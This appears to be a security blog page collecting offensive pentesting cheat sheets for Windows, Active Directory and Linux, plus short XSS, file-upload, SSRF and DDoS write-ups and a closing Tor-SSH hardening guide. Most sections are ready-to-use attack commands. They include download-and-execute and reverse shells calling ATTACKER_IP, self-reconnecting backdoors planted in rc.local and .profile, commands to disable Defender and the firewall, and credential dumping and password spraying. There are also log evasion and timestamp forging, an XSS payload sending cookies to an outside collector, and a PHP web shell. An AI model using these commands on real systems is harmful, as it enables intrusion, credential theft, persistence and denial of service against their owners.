Windows Penetration Testing Cheat Sheet

Ldap enumeration
$ enum4linux -a 10.10.10.180
$ smbclient -L \\10.10.10.180 -N
$ ldapsearch -x -H ldap://10.10.10.180 -b "dc=DOMAIN,dc=LOCAL"
$ python windapsearch.py -u username -p password -d DOMAIN.LOCAL --dc-ip 10.10.10.180
$ python ad-ldap-enum.py -d DOMAIN.LOCAL -l 10.10.10.180 -u username -p password

Find some useful credentials:

$ GetNPUsers.py -dc-ip 10.10.10.180 -no-pass "DOMAIN.LOCAL/username"

$ smbclient -U username -L \\10.10.10.180

Connect

$ evil-winrm -i 10.10.10.180 -u username -p password

$ psexec.py username:password@10.10.10.180

$ wmiexec.py -hashes :d9485863c1e9e05851aa40cbb4ab9dff Username@10.10.10.180

Crack/Bruteforce

$ hashcat -m 18200 -a 0 -w 3 hashfile.hash rockyou.txt

Username brute:

$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.180 users.txt

Password brute

$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.180 rockyou.txt username123

Password spray

$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.180 users.txt rockyou.txt

https://github.com/dafthack/DomainPasswordSpray

> Import-Module .\DomainPasswordSpray.ps1

> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

Crack Tickets:

$ python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi

CrackMapExec:

$ crackmapexec smb 10.10.10.180 -u '' -p ''

$ crackmapexec <protocol> 10.10.10.180

See more: https://github.com/byt3bl33d3r/CrackMapExec/wiki

Changing Permissions of a File: 

> icacls file.txt /grant Everyone:F

Downloading files

> IEX (New-Object System.Net.WebClient).DownloadString("http://ATTACKER_IP/rev.ps1")

> (New-Object System.Net.WebClient).DownloadFile("http://ATTACKER_SERVER/malware.exe", "C:\Windows\Temp\malware.exe")  

> Invoke-WebRequest "http://ATTACKER_SERVER/malware.exe" -OutFile "C:\Windows\Temp\malware.exe"  

> certutil.exe -urlcache -split -f "http://10.10.10.180:80/shell.exe" shell.exe

Privilege Escalation:

Autlogon settings:

> Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

Dump:

$ secretsdump.py -dc-ip 10.10.10.180 defaultUserName:defaultPassword\!@10.10.10.180

Dump SAM file:
$ impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

NTDS.dit dump:

$ secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local

$ crackmapexec.py 10.10.10.180 -u username -p password -d DOMAIN.LOCAL --ntds drsuapi

on DC, lsass.exe can dump hashes

> lsadump::lsa /inject

Recon:

> systeminfo

> hostname 

Especially good with hotfix info

> wmic qfe get Caption,Description,HotFixID,InstalledOn

What users/localgroups are on the machine?

> net users

> net localgroups

> net localgroup Administrators

> net user username

Crosscheck local and domain too

> net user username /domain

> net group Administrators /domain

Network information

> ipconfig /all

> route print

> arp -A

To see what tokens we have 

> whoami /priv

What we can access?

> whoami /groups

Recursive string scan

> findstr /spin "password" *.*

Running processes

> tasklist /SVC

Network connections

> netstat -ano

Search for writeable directories

> dir /a-r-d /s /b

Show files/dir and hidden

> dir -force

Windows Defender

> sc.exe config WinDefend start= disabled

> sc.exe stop WinDefend

> Set-MpPreference -DisableRealtimeMonitoring $true

Firewall

> Netsh Advfirewall show allprofiles

> NetSh Advfirewall set allprofiles state off

Useful tools/modules

Impacket : https://github.com/CoreSecurity/impacket

Pywinrm : https://github.com/diyan/pywinrm

Pywerview : https://github.com/the-useless-one/pywerview

PowerSploit : https://github.com/PowerShellMafia/PowerSploit

Invoke-Obfuscation : https://github.com/danielbohannon/Invoke-Obfuscation

Invoke-Vnc : https://github.com/artkond/Invoke-Vnc

Mimikittenz : https://github.com/putterpanda/mimikittenz

NetRipper : https://github.com/NytroRST/NetRipper

RandomPS-Scripts : https://github.com/xorrior/RandomPS-Scripts

SessionGopher : https://github.com/fireeye/SessionGopher

Mimipenguin : https://github.com/huntergregal/mimipenguin

Nishang : https://github.com/samratashok/nishang

Read More

Tips and Cheat Sheet useful for Privilege Escalation

Linux:
Sudo Rights, we can find files as root in the user’s shell with:
$ sudo -l
Get shell: /bin/bash -i
with file as root in user, we can add that line in file then run. We will open the root shell

Find anything with SUID / SGID permission:
$ find / -perm -4000 -ls 2>/dev/null
$ find / -user root -perm -4000 2>/dev/null
$ find / -perm -2000 2>/dev/null

Writeable folders
$ find / -writable -type d 2>/dev/null
$ find / -perm -222 -type d 2>/dev/null
$ find / -perm -o w -type d 2>/dev/null

Find any writable file owned by root:
$ find / -perm -002 -user root -type f -not-path “/proc/*” 2>/dev/null

Identify the kernel version and distribution:
$ uname -a
$ cat /etc/issue
$ cat /etc/*-release
$ cat /etc/lsb-release
$ cat /etc/redhat-release
$ lsb_release
Use "sendpage" and "dirtycow" both kernel exploits to do privilege escalation

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions:
https://gtfobins.github.io

There are some tool to auto find signature can exploitable in victim machine like: LinEnum, Pspy, LinPEAS
https://github.com/rebootuser/LinEnum
https://github.com/DominicBreuker/pspy
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

Windows:

Check services with write access:
> accesschk -a *
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
Service exploit E.g:
Reconfig service with exploit command or reverse shell:
> sc.exe config usosvc binPath="C:\tmp\nc.exe 10.10.15.107 4444 -e powershell.exe"
Then restart service:
> sc.exe stop <service name>
> sc.exe start <service name>

Permissions on specific folders:
> icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
> icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

Look for backups files SAM.bak.

Check Credentials mananger:
> dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ cmdkey /list
> dir C:\Users\username\AppData\Local\Microsoft\Credentials\

What tokens we have 
> whoami /priv

What we can access?
> whoami /groups

Some useful tool:
https://github.com/Hackplayers/PsCabesha-tools

updating...

Most of PrivEsc way is find signature/version then go to find the way to exploit like CVE or at https://www.exploit-db.com/

READ MORE: 
Windows pentest cheat sheet
Useful Pentest cheat sheet/tools

Read More

Useful collection of cheat sheet, tips for Penetration Testing

Network Scanning
$ nmap -A 10.10.10.150
Enables OS detection, version detection, script scanning, and traceroute
-sV           = enumerate versions
-sC           = default script scan
-vv           = verbosity
-o            = output directory
-T5           = aggresive scan
--script vuln = vulnerable script scan
-p1-65534   = all ports
$ nmap -sV -sT -Pn -sC -O 10.10.10.150 -p-
$ nmap -sTV -p 1-65535 -oN fullscan_tcp 10.10.10.150

Web Content Discovery
$ wfuzz -z -w file,/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt --ss flag 91 http://127.0.0.1/vuln.php?cmd=FUZZ
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -z list,php-txt-html-zip-tar-tar.gz-7z --hc 403,404 -t 20 -u http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt  -u http://10.10.10.150
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://jeff.thm/backups/ -t 20 -x zip,tar,gzip,php,txt,log
$ nikto -h 10.10.10.150
$ dirb 10.10.10.150

SSH
#Almost invisible SSH
$ ssh -o UserKnownHostsFile=/dev/null -T user@host.org "bash -i"
This will not add your user to the /var/log/utmp file and you won't show up in w or who command of logged in users. It will bypass .profile and .bash_profile as well. On your client side it will stop logging the host name to ~/.ssh/known_hosts.

#SSH tunnel OUT
We use this all the time to circumvent local firewalls and IP filtering:
$ ssh -g -L31337:1.2.3.4:80 user@host.org
You or anyone else can now connect to your computer on port 31337 and get tunneled to 1.2.3.4 port 80 and appear with the source IP of 'host.org'.

#SSH tunnel IN
We use this to give access to a friend to an internal machine that is not on the public Internet:
$ ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@host.org
Anyone connecting to host.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer.

#SSH socks4/5 OUT
OpenSSH 7.6 adds support for reverse dynamic forwarding. Example: Tunnel all your browser traffic through your server.
$ ssh -D 1080 user@host.org
Now configure your browser to use SOCKS with 127.0.0.1:1080. All your traffic is now tunneled through host.org and will appear with the source IP of host.org.

#SSH socks4/5 IN
This is the reverse of the above example. It give others access to your local network or let others use your computer as a tunnel end-point.
$ ssh -g -R 1080 user@host.org
The others configuring host.org:1080 as their SOCKS4/5 proxy. They can now connect to any computer on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network.

SMB
To list all shares
-N is null share
$ smbclient -N -L \\\\127.0.0.1\\ 
$ smbcacls -N "//127.0.0.1" /Users
smbmap gives really good info about shares
$ smbmap -u username -p pass1234 -d ECORP -H 127.0.0.1 
$ smbmap -u invaliduser 127.0.0.1
Read more: https://www.it-vn.com/2020/04/windows-penetration-testing-cheat-sheet.html

LDAP
$ ldapsearch -x -h domain.name -s base namingcontexts  
$ ldapsearch -x -h domain.name -s sub -b 'DC=DOMAIN,DC=NAME'

DNS Zone Transfer
$ dig axfr @TheDNSServerYouWanToAsk domain

Spawning TTY Shell
$ script -qc /bin/bash /dev/null  # Linux
$ script -q /dev/null /bin/bash   # BSD
or
$ python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
ctrl+z background it
$ /bin/bash -i
$ stty raw -echo
$ nc -nvlp 4444

Create host to transfer file:
$ python -m SimpleHTTPServer <port eg:1337>

In py3: $ python -m http.server 1337
Download: $ wget <host>:<port>/<file>


Reverse Shells
#powershell
$ powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

#Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

#Ruby
$ ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",ATTACKER_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#Netcat
$ nc -e /bin/sh ATTACKER_IP ATTACKER_PORT

#Bash
$ bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
On the remote system, this command will connect back to your system (IP = ATTACKER_IP, Port ATTACKER_PORT) and give you a shell prompt:
$ setsid bash -i &>/dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 &

#Reverse shell without Bash
Especially embedded systems do not always have Bash and the /dev/tcp/ trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet:
On the remote system:
$ nc -e /bin/bash -vn ATTACKER_IP ATTACKER_PORT
Variant if '-e' is not supported:
$ mkfifo /tmp/.io
$ sh -i 2>&1 </tmp/.io | nc -vn ATTACKER_IP ATTACKER_PORT >/tmp/.io
Telnet variant:
$ mkfifo /tmp/.io
$ sh -i 2>&1 </tmp/.io | telnet ATTACKER_IP ATTACKER_PORT >/tmp/.io
Telnet variant when mkfifo is not supported (Ulg!):
$ (touch /dev/shm/.fio; sleep 60; rm -f /dev/shm/.fio) &
$ tail -f /dev/shm/.fio | sh -i 2>&1 | telnet ATTACKER_IP ATTACKER_PORT >/dev/shm/.fio

#Socat
on attacker's host (listener)
$ socat file:`tty`,raw,echo=0 tcp-listen:ATTACKER_PORT
on target host (reverse shell)
$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:ATTACKER_PORT

Read more: https://www.it-vn.com/2019/03/create-metasploit-payload-for-beginner.html

#Background reverse shell
A reverse shell that keeps trying to connect back to us every 3600 seconds (indefinitely). Often used until a real backdoor can be deployed and guarantees easy re-entry to a system in case our connection gets disconnected.
$ while :; do setsid bash -i &>/dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1; sleep 3600; done &>/dev/null &
or add to /etc/rc.local:
$ nohup bash -c 'while :; do setsid bash -i &>/dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1; sleep 3600; done' &>/dev/null &
or the user's ~/.profile (also stops multiple instances from being started):
fuser /dev/shm/.busy &>/dev/null
if [ $? -eq 1 ]; then
        nohup /bin/bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; setsid bash -i &>/dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 ; sleep 3600; done' &>/dev/null &
fi


How to survive high latency connections
Hacking over long latency links or slow links can be frustrating. Every keystroke is transmitted one by one and any typo becomes so much more frustrating and time consuming to undo. rlwrap comes to the rescue. It buffers all single keystrokes until Enter is hit and then transmits the entire line at once. This makes it so much easier to type at high speed, correct typos, ...
Example for the receiving end of a revese tunnel:
$ rlwrap nc -vnlp ATTACKER_PORT
Example for SSH:
$ rlwrap ssh user@host


File
#Restore the date of a file
Let's say you have modified /etc/passwd but the file date now shows that /etc/passwd has been modifed. Use touch to change the file data to the date of another file (in this example, /etc/shadow)
$ touch -r /etc/shadow /etc/passwd

#Encrypting a file
Encrypt your 0-Days and log files before transfering them - please. (and pick your own password):
Encrypt:
$ openssl enc -aes-256-cbc -pbkdf2 -k gwCMefVOewAJgfsFVa <input.txt >input.txt.enc
Decrypt:
$ openssl enc -d -aes-256-cbc -pbkdf2 -k gwCMefVOewAJgfsFVa <input.txt.enc >input.text
gwCMefVOewAJgfsFVa is example Key

Read More

What is Open Redirect vulnerability? XML-RPC and SSRF | DDoS attack abuses SSRF

Open Redirect Vulnerability:
Open redirect is a security flaw in an app or a web page that causes it to fail to properly authenticate URLs. 

When apps and web pages have requests for URLs, they are supposed to verify that those URLs are part of the intended page’s domain. Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious third-party websites. Sites or apps that fail to authenticate URLs can become a vector for malicious redirects to convincing fake sites for identity theft or sites that install malware.


XML-RPC:

XML-RPC is a cross platform protocol for executing remote procedure calls and exchanging information between servers via the internet.
It's remote procedure calling using HTTP as the transport and XML as the encoding. XML-RPC is designed to be as simple as possible, while allowing complex data structures to be transmitted, processed and returned.

SSRF:
In a SSRF attack the attacker can change a parameter used on the web application to create or control requests from the vulnerable server.

Since the attacker cannot send direct requests to the victim’s server, because they are blocked by a firewall, to scan an internal network the attacker has to:
- Send a request to the vulnerable web server that abuses the SSRF vulnerability.
- The web server makes a request to the victim’s server which sits behind the firewall.
- The victim’s server responds with the data.
- If the specific SSRF vulnerability permits it, the data is sent back to the attacker.

When information in a web application has to be retrieved from an external resource, which could also be internal services, such as a RSS feed from another website, server side requests are used to fetch the resource and include it in the web application. For example, a developer can use a URL such as https://example.com/feed.php?url=externalsite.com/feed/ to retrieve the remote feed. If the attacker is able to change the url parameter to localhost, then he is able to view local resources hosted on the server, making it vulnerable to Server Side Request Forgery.

Detecting SSRF: In order to detect Server-Side Request Forgery (SSRF) automatically, we’ll need to rely on an intermediary service since the detection of such a vulnerability requires an out-of-band and time-delay vector.


DDoS attack:
With the first data and a list of Liferay sites exist SSRF/XML-RPC vulnerability is placed in the zombie.txt directory.
The tool in python uses Multithread to continuously post an xml code to send the request to the Ddos object for each source url.
Requires Python 2.7
Modules require:
pip install scapy
pip install requests
python liferay.py -u <url> -l zombie.txt
Enter! and DDoS attack has been started!

To view the map of the address of the attack, we use Ufonet by copying the ip addresses into the MapAttack folder
Require:
pip install tornado
pip install pyjade
pip install geoip2
Change the absolute path to the MapAttack directory at the webroot variable (line 35, 36 and 39) in the server.py file
Run with: python server.py
Then, access to address http://127.0.0.1:8080/ 

Get tool Here.

Read More

What is XSS (Cross Site Scripting)? - Information Assurance Overview

XSS is a very commonly exploited vulnerability type which is very widely spread and easily detectable and also it is one of the important vulnerability in OWASP TOP 10. So what is XSS (Cross Site Scripting)? An attacker can inject untrusted snippets of JavaScript into your application without validation. This JavaScript is then executed by the victim who is visiting the target site. It classified into three types.
Reflected XSS
Stored XSS
DOM-Based XSS

XSS - Reflected 
An attacker sends the victim a link to the target application through email, social media, etc. This link has a script embedded within it which executes when visiting the target site. It’s called reflected because in this exploit scenario, the hacker must send the victim a URL containing the malicious code (usually javascript). The victim only needs to request this URL, the hacker will immediately receive the response containing the desired result (reactivity shown here). In addition, it is also known as the first-order XSS.
Example on bWAPP:
Cookie victim:

Steal cookie victim:
Use a web page to get the user's request, we can use: https://eniaod9oqg9es.x.pipedream.net
Redirect the victim site to another site, using "requestbin" to view the cookie location='https://eniaod9oqg9es.x.pipedream.net/?cookie='%2bdocument.cookie; 
Check if it is XSS?
http://192.168.254.135/bWAPP/xss_get.php?firstname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=a&form=submit
 

We add <script> tag, then use "requestbin" to show cookie:<script>location='https://eniaod9oqg9es.x.pipedream.net/?cookie='%2bdocument.cookie;</script>

We can use Burp Suite to catch request with POST medthod. Then create payload
trick users to get cookies to access users' web access.

 and also with User-Agent

XSS - STORED (BLOG)
The attacker is able to plant a persistent script in the target website which will execute when anyone visits it. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS. 
Example on bWAPP:
To test if the input field are vulnerable. We try to inject this script: <script>alert(‘XSS’)</script>
If it is vulnerable, an alert box will show XSS

then we can create a fake message to deceive users by the script:

When users access the website, the message will show up:

Steal Cookie: When user click OK button, their cookie will be sent to requestbin page that hacker prepare for that, it's a basic level, in real case we need bypass filter, WAF,...

XSS - DOM Based
no HTTP request is required, the script is injected as a result of modifying the DOM of the target site in the client side code in the victim’s browser and is then executed.

Potential risks about Cross Site Scripting
The attacker can compromise or take over the victim’s user account in the application. They could retrieve data from the target web application, modify content on the target page, redirect the victim to another malicious or spoof site, or use it as a platform to install other malware on the victim’s system.
The consequences of any of the above can seriously impact your ability to conduct business, your customers, and your organization’s reputation.

Defenses against Cross Site Scripting
What input do we trust?
Does it adhere to expected patterns?
Never simply reflect untrusted data.
Applies to data within our database too.
Encoding of context(Java/attribute/HTML/CSS).
 

Thanks to GURUBARAN S, DatDQ

Read More

What is "Unrestricted file upload"? - Information Assurance Overview

A local file upload vulnerability is a vulnerability where an application allows a user to upload a malicious file directly which is then executed

A vulnerability where an application uses user input to fetch a remote file from a site on the Internet and store it locally. This file is then executed by an attacker.

There are really two classes of problems here.:
The first is with the file metadata, like the path and file name. These are generally provided by the transport, such as HTTP multi-part encoding. This data may trick the application into overwriting a critical file or storing the file in a bad location. You must validate the metadata extremely carefully before using it.
The other class of problem is with the file size or content. The range of problems here depends entirely on what the file is used for.
The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database,... It depends on what the application does with the uploaded file and especially where it is stored.

Some Weak Protections and Bypassing Methods:
Upload .jsp file into web tree - jsp code executed as the web user
Upload .gif file to be resized - image library flaw exploited
Upload .jpg file containing a Flash object - victim experiences Cross-site Content Hijacking.
Upload .php - can be executed on the server side or can be dangerous on the client side
Upload file using malicious path or name - overwrite a critical file
Upload file containing personal data - other users access it

Examples of DVWA:
The code below makes two critical mistakes which create a file upload vulnerability.

<?php if (isset($_POST['Upload'])) {     $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";     $target_path = $target_path . basename($_FILES['uploaded']['name']);     $uploaded_name = $_FILES['uploaded']['name'];     $uploaded_type = $_FILES['uploaded']['type'];     $uploaded_size = $_FILES['uploaded']['size'];     if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){         if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {             echo '<pre>';             echo 'Your image was not uploaded.';             echo '</pre>';         } else {             echo '<pre>';             echo $target_path . ' succesfully uploaded!';             echo '</pre>';         }     }else{         echo '<pre>Your image was not uploaded.</pre>';     }
}

Example of PHP script in a Linux server:

<?php echo system('uname -a'); ?>

if access this file in server the uname -a command will executed. And it will show the kernel release, system version information
What if we build more a little bit html:

<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if($_GET['cmd']) { system($_GET['cmd']); } ?> </pre> </body> <script>document.getElementById("cmd").focus();</script> </html>

We will get this when we access our file:

Based on that, we can develop a complete file and features...

There are many php shell public very famous as China Chopper, WSO, C99, B374K,....

Someway to avoid remote file upload vulnerabilities:

It is important to check a file upload module's access controls to examine the risks properly.

• Only allow specific file extensions.

• Only allow authorized and authenticated users to use the feature.

• Check any file fetched from the Web for content. Make sure it is actually an image or whatever file type you expect.

• Serve fetched files from your application rather than directly via the web server.

• Store files in a non-public accessibly directory if you can.

• Write to the file when you store it to include a header that makes it non-executable.

Read More

Configure SSH To Avoid From Shodan and Hackers

Secure Shell (SSH) is a cryptographic network protocol used for a secure connection between a client and a server.
Shodan has been called the "hacker's search engine" because it's literally a searchable database of internet-connected devices and servers. It allows anyone to search for webcams, routers, servers, Raspberry Pis, traffic lights, point of sale systems, industrial control systems, and much more.
Keep your SSH service out of Shodan's database before hackers find new ways to bypass the password protecting the server.

Why Set Up SSH with Tor?
Any internet-connected device will inevitably be scanned by Shodan, Censys. Hackers use these databases to locate out-of-date, vulnerable servers. Even system administrators who regularly update their servers and follow the best security practices are exposed to exploits. The libSSH vuln allowed hackers to connect to SSH services without first performing authentication. Blackhat's sometimes horde and sell vulnerabilities in private communities.
Tor onion services can help mitigate exposure. Much like how onion websites can't be accessed using a standard web browser, SSH services can be configured only to allow access over Tor. It can make services entirely inaccessible for search engines like Shodan and more difficult for hackers to find. 

The first thing we need to do is install Tor on the VPS and the client computer. The client can be a Debian, Ubuntu, or a Kali system to follow along.
Tor is available in many Linux repositories. In most cases, the packages aren't reliably maintained or updated.
Add the Tor Project's repository to your APT repository list:
echo -e "deb https://deb.torproject.org/torproject.org stretch main \ndeb-src https://deb.torproject.org/torproject.org stretch main" > /etc/apt/sources.list.d/tor.list
Debian:
echo -e "deb https://deb.torproject.org/torproject.org $(lsb_release -sc) main \ndeb-src https://deb.torproject.org/torproject.org $(lsb_release -sc) main" > /etc/apt/sources.list.d/tor.list

Now, download Tor Project's package signing key and import it into our APT keyring:
wget -O- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | sudo apt-key add -

Then, update APT: apt-get update
Install Tor: apt-get install tor deb.torproject.org-keyring torsocks

Create an Onion Service on the Server:
stop Tor the process using the systemctl command: sudo systemctl stop tor
Then, edit the configuration file with nano: sudo nano /etc/tor/torrc
Scroll down to the "This section is just for location-hidden services" section.
it shows as below:

Uncomment '#' at "HiddenServiceDir" and "HiddenServicePort" line. Result:

Save and exit. Then we restart Tor: sudo systemctl restart tor
The "hostname" file in the /var/lib/tor/other_hidden_service/ directory will hold the new onion address
Now, Use cat to read the file to which hold the new onion address: 
cat /var/lib/tor/other_hidden_service/hostname
We will get the same this: sqyrsn5twzv6c6357a62cgw5mxd26q6pojpfw5kcuh3fprstiikpdmad.onion

Next step we verify the Onion service is working. We can using the torsocks
torsocks curl http://sqyrsn5twzv6c6357a62cgw5mxd26q6pojpfw5kcuh3fprstiikpdmad.onion:22
We also can use wget, or nmap to transparently Tor-ify

By default, most SSH services are listening on every IPv4 interface. While not the case for all Linux distributions, this is true for popular ones like Ubuntu and Debian.
This is usually represented as "0.0.0.0" in the /etc/ssh/sshd_config file, where SSH stores all of the service configurations.
SSH services configured this way makes it possible to access the server from any computer in the world. Which is convenient for website administrators who need to make changes to their website from different devices and networks.
First, let's have a look at SSH service running in the background. Use ss, a tool for investigating sockets, to show processes (-p) listening (-l) for TCP (-t) connections.
ss -plt

If the server has applications running in the background (e.g., Apache, Nginx, IRC software, etc.), many services may appear here. Let's focus on the Local Address:Port column which reads *:ssh. Wildcards indicate the SSH service is listening on every available IPv4 and IPv6 interface.
Shodan is able to locate this SSH service because it's available (listening) in this state. To change this, open sshd_confnig:
sudo nano /etc/ssh/sshd_confnig

find "ListenAddress" line and uncomment and change line to 127.0.0.1 from:
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

to
#Port 22
#AddressFamily any
ListenAddress 127.0.0.1
#ListenAddress ::
When every ListenAddress is commented out, SSH falls back to its default configuration to listen on every interface.
Restart SSH service: sudo systemctl restart ssh

Connect to the SSH Server Using Tor from the client e.g: laptop or remote computer, use torsocks command to connect to SSH service.
torsocks ssh -p 22 username@sqyrsn5twzv6c6357a62cgw5mxd26q6pojpfw5kcuh3fprstiikpdmad.onion
Now, make sure the SSH Service isn't visible to Shodan, use the "ss -plt" command again to view listening services
It should no longer report SSH listening on every available interface, only 127.0.0.1 like below

We can further verify this by executing a simple nmap version scan on the server.
nmap -p 22 -sV <vps ip here> 

The SSH service may still appear on Shodan for days or even weeks. Configuring Tor to work with SSH services in this way hides it from Shodan but doesn't make it entirely impossible to locate by hackers. It can still be reached using Tor, which significantly minimizes its overall exposure but doesn't make it altogether impervious to attacks.

Thanks Null-byte

Read More